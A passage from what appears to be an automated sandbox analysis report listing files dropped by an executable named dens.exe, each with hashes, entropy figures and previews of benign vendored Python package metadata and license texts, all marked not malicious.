Preview:	Metadata-Version: 2.1.Name: jaraco.functools.Version: 4.0.1.Summary: Functools like those found in stdlib.Author-email: "Jason R. Coombs" <jaraco@jaraco.com>.Project-URL: Homepage, https://github.com/jaraco/jaraco.functools.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.License-File: LICENSE.Requires-Dist: more-itertools.Provides-Extra: docs.Requires-Dist: sphinx >=3.5 ; extra == 'docs'.Requires-Dist: sphinx <7.2.5 ; extra == 'docs'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'docs'.Requires-Dist: rst.linker >=1.9 ; extra == 'docs'.Requires-Dist: furo ; extra == 'docs'.Requires-Dist: sphinx-lint ; extra == 'docs'.Requires-Dist: jaraco.tidelift >=1.4 ; extra == 'docs'.Provides-Extra: testing.Requires-Dist: pytest >=6 ;

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.functools-4.0.1.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	843
Entropy (8bit):	5.807846597836061
Encrypted:	false
SSDEEP:	24:Tmn/2zDRvbqfuggoaGnXamZlKZBX3vpBvt+c0X4yWJV:TmnuXRzUuggDifZlmX/aWJV
MD5:	85FB54BAFB143CD57D1787F7EF74FDB2
SHA1:	A915BBCDF108A58F3DFC1783D9D4DD3B7F3CE23A
SHA-256:	632AA7C04F7C4BCC01C027AF5B9BC76FE8958F4A181035B957A3BD3014BA248B
SHA-512:	2A39B4C6F221F88EC61D584C8CD3CAD358E8C7B50E529192105A0A4144ED3C2A4CE8B630C39C18D20E27FE226A23E2DE23CDFF8E3D3693959B165A9A2F9047CD
Malicious:	false
Preview:	jaraco.functools-4.0.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..jaraco.functools-4.0.1.dist-info/LICENSE,sha256=htoPAa6uRjSKPD1GUZXcHOzN55956HdppkuNoEsqR0E,1023..jaraco.functools-4.0.1.dist-info/METADATA,sha256=i4aUaQDX-jjdEQK5wevhegyx8JyLfin2HyvaSk3FHso,2891..jaraco.functools-4.0.1.dist-info/RECORD,,..jaraco.functools-4.0.1.dist-info/WHEEL,sha256=GJ7t_kWBFywbagK5eo9IoUwLW6oyOeTKmQ-9iHFVNxQ,92..jaraco.functools-4.0.1.dist-info/top_level.txt,sha256=0JnN3LfXH4LIRfXL-QFOGCJzQWZO3ELx4R1d_louoQM,7..jaraco/functools/__init__.py,sha256=hEAJaS2uSZRuF_JY4CxCHIYh79ZpxaPp9OiHyr9EJ1w,16642..jaraco/functools/__init__.pyi,sha256=gk3dsgHzo5F_U74HzAvpNivFAPCkPJ1b2-yCd62dfnw,3878..jaraco/functools/__pycache__/__init__.cpython-312.pyc,,..jaraco/functools/py.typed,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.functools-4.0.1.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.812622295095324
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlFxP+tPCCfA5S:RtBMwlVTxWBBf
MD5:	43136DDE7DD276932F6197BB6D676EF4
SHA1:	6B13C105452C519EA0B65AC1A975BD5E19C50122
SHA-256:	189EEDFE4581172C1B6A02B97A8F48A14C0B5BAA3239E4CA990FBD8871553714
SHA-512:	E7712BA7D36DEB083EBCC3B641AD3E7D19FB071EE64AE3A35AD6A50EE882B20CD2E60CA1319199DF12584FE311A6266EC74F96A3FB67E59F90C7B5909668AEE1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.43.0).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.functools-4.0.1.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.5216406363433186
Encrypted:	false
SSDEEP:	3:GEG0:GEG0
MD5:	0BA8D736B7B4AB182687318B0497E61E
SHA1:	311BA5FFD098689179F299EF20768EE1A29F586D
SHA-256:	D099CDDCB7D71F82C845F5CBF9014E18227341664EDC42F1E11D5DFE5A2EA103
SHA-512:	7CCCBB4AFA2FADE40D529482301BEAE152E0C71EE3CC41736EB19E35CFC5EE3B91EF958CF5CA6B7330333B8494FEB6682FD833D5AA16BF4A8F1F721FD859832C
Malicious:	false
Preview:	jaraco.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.text-3.12.1.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.text-3.12.1.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1023
Entropy (8bit):	5.059832621894572
Encrypted:	false
SSDEEP:	24:OrmJHcwH0MP3gt8Hw1hj9QHOsUv4eOk4/+/m3oqMSFJ:OaJ8YHvEH5QHOs5exm3oEFJ
MD5:	141643E11C48898150DAA83802DBC65F
SHA1:	0445ED0F69910EEAEE036F09A39A13C6E1F37E12
SHA-256:	86DA0F01AEAE46348A3C3D465195DC1CECCDE79F79E87769A64B8DA04B2A4741
SHA-512:	EF62311602B466397BAF0B23CACA66114F8838F9E78E1B067787CEB709D09E0530E85A47BBCD4C5A0905B74FDB30DF0CC640910C6CC2E67886E5B18794A3583F
Malicious:	false
Preview:	Permission is hereby granted, free of charge, to any person obtaining a copy.of this software and associated documentation files (the "Software"), to.deal in the Software without restriction, including without limitation the.rights to use, copy, modify, merge, publish, distribute, sublicense, and/or.sell copies of the Software, and to permit persons to whom the Software is.furnished to do so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in.all copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING.FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEA

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.text-3.12.1.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3658
Entropy (8bit):	5.02710641474483
Encrypted:	false
SSDEEP:	96:DYMaCFS802Vpnu388Ksc+fIybwFiR8g6RSwTsL:pFz02Vpnu388KB+gybwgRd6RSwTsL
MD5:	70FE732EDE8F8E6C84DA4EA21D4933E5
SHA1:	A7763789FA56CEBBAA849368FAAC7D386F170399
SHA-256:	03359D9BA56231F0CE3E840C7CB5A7DB380141218949CCAA78DDBD4DCB965D52
SHA-512:	4C8D3D5078840BD4DBE20458EBF52890585C5911C22C3EFCE2FB28985461BC80469339DDAF6016FB099C84BDF9B41A26FF1884B456422A8D0C682104D7950D91
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: jaraco.text.Version: 3.12.1.Summary: Module for text manipulation.Author-email: "Jason R. Coombs" <jaraco@jaraco.com>.Project-URL: Homepage, https://github.com/jaraco/jaraco.text.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.License-File: LICENSE.Requires-Dist: jaraco.functools.Requires-Dist: jaraco.context >=4.1.Requires-Dist: autocommand.Requires-Dist: inflect.Requires-Dist: more-itertools.Requires-Dist: importlib-resources ; python_version < "3.9".Provides-Extra: doc.Requires-Dist: sphinx >=3.5 ; extra == 'doc'.Requires-Dist: jaraco.packaging >=9.3 ; extra == 'doc'.Requires-Dist: rst.linker >=1.9 ; extra == 'doc'.Requires-Dist: furo ; extra == 'doc'.Requires-Dist: sphinx-lint ; extra == 'doc

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.text-3.12.1.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1500
Entropy (8bit):	5.794249493238335
Encrypted:	false
SSDEEP:	24:TkLFn/2zDVLFvbqfuaLFo2kXLFGnLFEsJiLFXamdLFlKbkZ6d3JpPXu/1XWXYXw2:TcnuXDzUuuCw5Jmfblyz3Jp2/NUsM0bN
MD5:	39FCCE64BC768C2046067E4AAD8465F0
SHA1:	2EFC0FC776576A8FE01BBACD0760A49EEE6481DA
SHA-256:	816D945741DCA246099388CA3EED74FC0667ACBAA36F70B559B2494C3979B1F6
SHA-512:	FB2335A6675F9CADEEE38B666FAB9EA1D8BFBA6B7768253D42F44149591A3239F4B2FA19DDF2C282DC7E47A01D7DCA69AADBBCDAC9107EDBCB2C22D11BA81287
Malicious:	false
Preview:	jaraco.text-3.12.1.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..jaraco.text-3.12.1.dist-info/LICENSE,sha256=htoPAa6uRjSKPD1GUZXcHOzN55956HdppkuNoEsqR0E,1023..jaraco.text-3.12.1.dist-info/METADATA,sha256=AzWdm6ViMfDOPoQMfLWn2zgBQSGJScyqeN29TcuWXVI,3658..jaraco.text-3.12.1.dist-info/RECORD,,..jaraco.text-3.12.1.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..jaraco.text-3.12.1.dist-info/WHEEL,sha256=GJ7t_kWBFywbagK5eo9IoUwLW6oyOeTKmQ-9iHFVNxQ,92..jaraco.text-3.12.1.dist-info/top_level.txt,sha256=0JnN3LfXH4LIRfXL-QFOGCJzQWZO3ELx4R1d_louoQM,7..jaraco/text/Lorem ipsum.txt,sha256=N_7c_79zxOufBY9HZ3yzMgOkNv-TkOTTio4BydrSjgs,1335..jaraco/text/__init__.py,sha256=Y2YUqXR_orUoDaY4SkPRe6ZZhb5HUHB_Ah9RCNsVyho,16250..jaraco/text/__pycache__/__init__.cpython-312.pyc,,..jaraco/text/__pycache__/layouts.cpython-312.pyc,,..jaraco/text/__pycache__/show-newlines.cpython-312.pyc,,..jaraco/text/__pycache__/strip-prefix.cpython-312.pyc,,..jaraco/text/__py

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.text-3.12.1.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	92
Entropy (8bit):	4.812622295095324
Encrypted:	false
SSDEEP:	3:RtEeX7MWcSlVlFxP+tPCCfA5S:RtBMwlVTxWBBf
MD5:	43136DDE7DD276932F6197BB6D676EF4
SHA1:	6B13C105452C519EA0B65AC1A975BD5E19C50122
SHA-256:	189EEDFE4581172C1B6A02B97A8F48A14C0B5BAA3239E4CA990FBD8871553714
SHA-512:	E7712BA7D36DEB083EBCC3B641AD3E7D19FB071EE64AE3A35AD6A50EE882B20CD2E60CA1319199DF12584FE311A6266EC74F96A3FB67E59F90C7B5909668AEE1
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: bdist_wheel (0.43.0).Root-Is-Purelib: true.Tag: py3-none-any..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco.text-3.12.1.dist-info\top_level.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7
Entropy (8bit):	2.5216406363433186
Encrypted:	false
SSDEEP:	3:GEG0:GEG0
MD5:	0BA8D736B7B4AB182687318B0497E61E
SHA1:	311BA5FFD098689179F299EF20768EE1A29F586D
SHA-256:	D099CDDCB7D71F82C845F5CBF9014E18227341664EDC42F1E11D5DFE5A2EA103
SHA-512:	7CCCBB4AFA2FADE40D529482301BEAE152E0C71EE3CC41736EB19E35CFC5EE3B91EF958CF5CA6B7330333B8494FEB6682FD833D5AA16BF4A8F1F721FD859832C
Malicious:	false
Preview:	jaraco.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\jaraco\text\Lorem ipsum.txt

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text, with very long lines (888)
Category:	dropped
Size (bytes):	1335
Entropy (8bit):	4.226823573023539
Encrypted:	false
SSDEEP:	24:FP6Hbz+g9RPZ14bJi04L6GEbX4UQF4UkZQhxI2EIhNyu:9E+i6bJmLm43+Uxxnh0u
MD5:	4CE7501F6608F6CE4011D627979E1AE4
SHA1:	78363672264D9CD3F72D5C1D3665E1657B1A5071
SHA-256:	37FEDCFFBF73C4EB9F058F47677CB33203A436FF9390E4D38A8E01C9DAD28E0B
SHA-512:	A4CDF92725E1D740758DA4DD28DF5D1131F70CEF46946B173FE6956CC0341F019D7C4FECC3C9605F354E1308858721DADA825B4C19F59C5AD1CE01AB84C46B24
Malicious:	false
Preview:	Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum..Curabitur pretium tincidunt lacus. Nulla gravida orci a odio. Nullam varius, turpis et commodo pharetra, est eros bibendum elit, nec luctus magna felis sollicitudin mauris. Integer in mauris eu nibh euismod gravida. Duis ac tellus et risus vulputate vehicula. Donec lobortis risus a elit. Etiam tempor. Ut ullamcorper, ligula eu tempor congue, eros est euismod turpis, id tincidunt sapien risus a quam. Maecenas fermentum consequat mi. Donec fermentum. Pellentesque malesuada nulla a mi. Duis sapien sem, aliquet nec, commodo eget, consequat quis, neque.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\more_itertools-10.3.0.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\more_itertools-10.3.0.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1053
Entropy (8bit):	5.0945274555157285
Encrypted:	false
SSDEEP:	24:arOJH7H0yxgtUHw1hC09QHOsUv4eOk4/+/m3oqLFh:aSJrlxEvdQHOs5exm3ogFh
MD5:	3396EA30F9D21389D7857719816F83B5
SHA1:	0D43A836DAC65C0EA426AD49C881A1086600BF85
SHA-256:	09F1C8C9E941AF3E584D59641EA9B87D83C0CB0FD007EB5EF391A7E2643C1A46
SHA-512:	D43092223392EDDA3BD777625F5BF54ACB0CC00C25555A4F8A16DB9CCDAFC380D3204486CB2A5FDC9D3F9E459B1FED948FFC7000AA0E40F37B807A01F4421294
Malicious:	false
Preview:	Copyright (c) 2012 Erik Rose..Permission is hereby granted, free of charge, to any person obtaining a copy of.this software and associated documentation files (the "Software"), to deal in.the Software without restriction, including without limitation the rights to.use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies.of the Software, and to permit persons to whom the Software is furnished to do.so, subject to the following conditions:..The above copyright notice and this permission notice shall be included in all.copies or substantial portions of the Software...THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR.IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,.FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE.AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER.LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,.OUT OF OR IN CONNECTION WITH THE SO

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\more_itertools-10.3.0.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	36293
Entropy (8bit):	3.717596190655759
Encrypted:	false
SSDEEP:	384:bs9cnyPtWIRmL0QnCHx4Zi3XBB9GcF89oi+odVBqCv9d3m24TeYH5AvDpG27IFf5:Ua+H1Nsg/
MD5:	5BA05B51B603386707E1E3A101CDD6B3
SHA1:	FFCCEC7FD799CC4AB07530954FEF3BE2472E2C23
SHA-256:	0453BDD0EF9F2CD89540CA63EE8212E73B73809514419DD3037D8FE471F737E0
SHA-512:	FE7F7D6B6C8089B09A18930EF462BA4C7A15EAF6D3E8610AC655ECADE16CE31D9C01ECE84C88A3C2D9DD34DE70E194A020E28179CF33B21389EE3EEFC7229B74
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: more-itertools.Version: 10.3.0.Summary: More routines for operating on iterables, beyond itertools.Keywords: itertools,iterator,iteration,filter,peek,peekable,chunk,chunked.Author-email: Erik Rose <erikrose@grinchcentral.com>.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: Natural Language :: English.Classifier: License :: OSI Approved :: MIT License.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: Implementation :: CPython.Classifier: Programming Language :: Python :: Implementation :: Py

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\more_itertools-10.3.0.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1259
Entropy (8bit):	5.794423512787632
Encrypted:	false
SSDEEP:	24:Bhxn/2zDahxvIhxphxBhxEsJXhxzvXiCflBJRHXoggtqgmf7WJhmsxmwG:hnuXwOph5J3zvXi4Lo7qgQ7WJhS
MD5:	178EE325409DD28809AD3661E8819EF8
SHA1:	F5844FAC6E3C9133FE5F1B8195EE801959801DF3
SHA-256:	77C8E73E018DC0FD7E9ED6C80B05A4404545F641FB085220CE42B368B59AA3D3
SHA-512:	2DB06B622F644674BF7D7AD8B780F9802858D15D73B5075139C2D82181DD6D589B90172BCA7AE9C785E705F447F523DB2AE641826C550C599551A7D8C2396FC2
Malicious:	false
Preview:	more_itertools-10.3.0.dist-info/INSTALLER,sha256=zuuue4knoyJ-UwPPXg8fezS7VCrXJQrAP7zeNuwvFQg,4..more_itertools-10.3.0.dist-info/LICENSE,sha256=CfHIyelBrz5YTVlkHqm4fYPAyw_QB-te85Gn4mQ8GkY,1053..more_itertools-10.3.0.dist-info/METADATA,sha256=BFO90O-fLNiVQMpj7oIS5ztzgJUUQZ3TA32P5HH3N-A,36293..more_itertools-10.3.0.dist-info/RECORD,,..more_itertools-10.3.0.dist-info/REQUESTED,sha256=47DEQpj8HBSa-_TImW-5JCeuQeRkm5NMpJWZG3hSuFU,0..more_itertools-10.3.0.dist-info/WHEEL,sha256=rSgq_JpHF9fHR1lx53qwg_1-2LypZE_qmcuXbVUq948,81..more_itertools/__init__.py,sha256=dtAbGjTDmn_ghiU5YXfhyDy0phAlXVdt5klZA5fUa-Q,149..more_itertools/__init__.pyi,sha256=5B3eTzON1BBuOLob1vCflyEb2lSd6usXQQ-Cv-hXkeA,43..more_itertools/__pycache__/__init__.cpython-312.pyc,,..more_itertools/__pycache__/more.cpython-312.pyc,,..more_itertools/__pycache__/recipes.cpython-312.pyc,,..more_itertools/more.py,sha256=1E5kzFncRKTDw0cYv1yRXMgDdunstLQd1QStcnL6U90,148370..more_itertools/more.pyi,sha256=iXXeqt48Nxe8VGmIWpkVXuKpR2FYNuu2DU8nQL

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\more_itertools-10.3.0.dist-info\WHEEL

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.672346887071811
Encrypted:	false
SSDEEP:	3:RtEeX/QFML6KjP+tPCCfA5I:Rt1QqL6gWBB3
MD5:	FE76A5D309B5416824C2034FBF8A16CD
SHA1:	5975EB6043863B0D018A5D751293F38E0B8E2874
SHA-256:	AD282AFC9A4717D7C7475971E77AB083FD7ED8BCA9644FEA99CB976D552AF78F
SHA-512:	6E4610171DD4E7E49FB4570CF3562D26A4F171FF67DA0F3A259A77916ACB939C8FCA7DA9F473EFAD839947796AC8CD7385DAA3264ADB150FF131A5C0FAC9329C
Malicious:	false
Preview:	Wheel-Version: 1.0.Generator: flit 3.8.0.Root-Is-Purelib: true.Tag: py3-none-any.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\packaging-24.1.dist-info\INSTALLER

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4
Entropy (8bit):	1.5
Encrypted:	false
SSDEEP:	3:Mn:M
MD5:	365C9BFEB7D89244F2CE01C1DE44CB85
SHA1:	D7A03141D5D6B1E88B6B59EF08B6681DF212C599
SHA-256:	CEEBAE7B8927A3227E5303CF5E0F1F7B34BB542AD7250AC03FBCDE36EC2F1508
SHA-512:	D220D322A4053D84130567D626A9F7BB2FB8F0B854DA1621F001826DC61B0ED6D3F91793627E6F0AC2AC27AEA2B986B6A7A63427F05FE004D8A2ADFBDADC13C1
Malicious:	false
Preview:	pip.

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\packaging-24.1.dist-info\LICENSE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	197
Entropy (8bit):	4.510719529760597
Encrypted:	false
SSDEEP:	3:hWDncJhByZmJgXPForADu1QjygQuaAJygT2d5GeWreBNA2eBKmJozlMHuO:h9Co8FyQjkDYc5tWreBN0n2mH1
MD5:	FAADAEDCA9251A90B205C9167578CE91
SHA1:	ED1FCABA1DBBF55113ABB419A484F3DF63E7ECFC
SHA-256:	CAD1EF5BD340D73E074BA614D26F7DEACA5C7940C3D8C34852E65C4909686C48
SHA-512:	1E69C89558FFE39E5C1EBB6728C4F0EB6023563C7A7F31B5417A8EFCC906378D2E2AF7B0E06A66980FBAAB7996AEB2AE1EA3918FDBE5FFCC3F77EA888A68EFBC
Malicious:	false
Preview:	This software is made available under the terms of either of the licenses.found in LICENSE.APACHE or LICENSE.BSD. Contributions to this software is made.under the terms of both these licenses..

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\packaging-24.1.dist-info\LICENSE.APACHE

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	10174
Entropy (8bit):	4.3908324771089084
Encrypted:	false
SSDEEP:	192:nU6G5KXSD9VYUKhu1JVF9hFGvV/QiGkS594drFjuHYx5dvTrLhP:U9vlKM1zJlFvmNz5VrZ
MD5:	2EE41112A44FE7014DCE33E26468BA93
SHA1:	598F87F072F66E2269DD6919292B2934DBB20492
SHA-256:	0D542E0C8804E39AA7F37EB00DA5A762149DC682D7829451287E11B938E94594
SHA-512:	27B8C0252EAE50CA3CE02AB7C5670664C0C824E03EB3DA1089F3F0A00D23E648A956BCB9F53645C6D79674A87C4CC86D1085DC335911BE0210D691336B121857
Malicious:	false
Preview:	. Apache License. Version 2.0, January 2004. http://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that control, are controlled by, or are under common. control with that entity. For the purposes of this definition,. "control" means (i) the power, direct or indirect, to cause the. direction or management of such entity, whether by contract or. otherwise, or (ii) ownership of fifty percent (50%) or more of the. outstanding shares, or (iii) beneficial own

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\packaging-24.1.dist-info\LICENSE.BSD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1344
Entropy (8bit):	5.070827944686827
Encrypted:	false
SSDEEP:	24:fjUnoorbOFFTJJyRrYFTjz796432s4EOkUs8gROF32s3yTtTf413tf9fsZlTHv:fkOFJSrYJR6432svI32s3Stc13tfyTHv
MD5:	7BEF9BF4A8E4263634D0597E7BA100B8
SHA1:	FDC0E4EABC45522B079DEFF7D03D70528D775DC0
SHA-256:	B70E7E9B742F1CC6F948B34C16AA39FFECE94196364BC88FF0D2180F0028FAC5
SHA-512:	96C3273D51B83B6AE1AB85FEFB814DCD6C1E60D311D412242405AA429CC860412477CBD6ECE171408DBB85F0C4FD742E3AF20C758015BC48406AA65A1AB6F60A
Malicious:	false
Preview:	Copyright (c) Donald Stufft and individual contributors..All rights reserved...Redistribution and use in source and binary forms, with or without.modification, are permitted provided that the following conditions are met:.. 1. Redistributions of source code must retain the above copyright notice,. this list of conditions and the following disclaimer... 2. Redistributions in binary form must reproduce the above copyright. notice, this list of conditions and the following disclaimer in the. documentation and/or other materials provided with the distribution...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE.DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE.FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL.DAMAGES (INCLUDING, BUT NOT LIM

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\packaging-24.1.dist-info\METADATA

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3204
Entropy (8bit):	4.9859857663557925
Encrypted:	false
SSDEEP:	96:DRKnOkaMktjaVMxsxCp5QXFfFKiYEvA9TzBnyD:psZfFhgXNG
MD5:	3236C0D7091D4A6577FA30E061480CEC
SHA1:	F99865B8D3B90AD64A0060F7F2F4C6E4FAEB0A39
SHA-256:	5F7A283B75A709FCCD481AEA42379F083D4F3801753365922E6B0732042515D9
SHA-512:	A9F0BC43A135732510B98E9C0B7F997D9557A6069352372F1AC3216F0E66FA617D9597990904935D58E5139FB34E17995BFA8B95B90C71997206A2B6955FE867
Malicious:	false
Preview:	Metadata-Version: 2.1.Name: packaging.Version: 24.1.Summary: Core utilities for Python packages.Author-email: Donald Stufft <donald@stufft.io>.Requires-Python: >=3.8.Description-Content-Type: text/x-rst.Classifier: Development Status :: 5 - Production/Stable.Classifier: Intended Audience :: Developers.Classifier: License :: OSI Approved :: Apache Software License.Classifier: License :: OSI Approved :: BSD License.Classifier: Programming Language :: Python.Classifier: Programming Language :: Python :: 3.Classifier: Programming Language :: Python :: 3 :: Only.Classifier: Programming Language :: Python :: 3.8.Classifier: Programming Language :: Python :: 3.9.Classifier: Programming Language :: Python :: 3.10.Classifier: Programming Language :: Python :: 3.11.Classifier: Programming Language :: Python :: 3.12.Classifier: Programming Language :: Python :: 3.13.Classifier: Programming Language :: Python :: Implementation :: CPython.Classifier: Programming Language :: Python :: Implementation

C:\Users\user\AppData\Local\Temp\_MEI62482\setuptools\_vendor\packaging-24.1.dist-info\RECORD

Download File

Process:	C:\Users\user\Desktop\dens.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	2565
Entropy (8bit):	5.780503861671858
Encrypted:	false
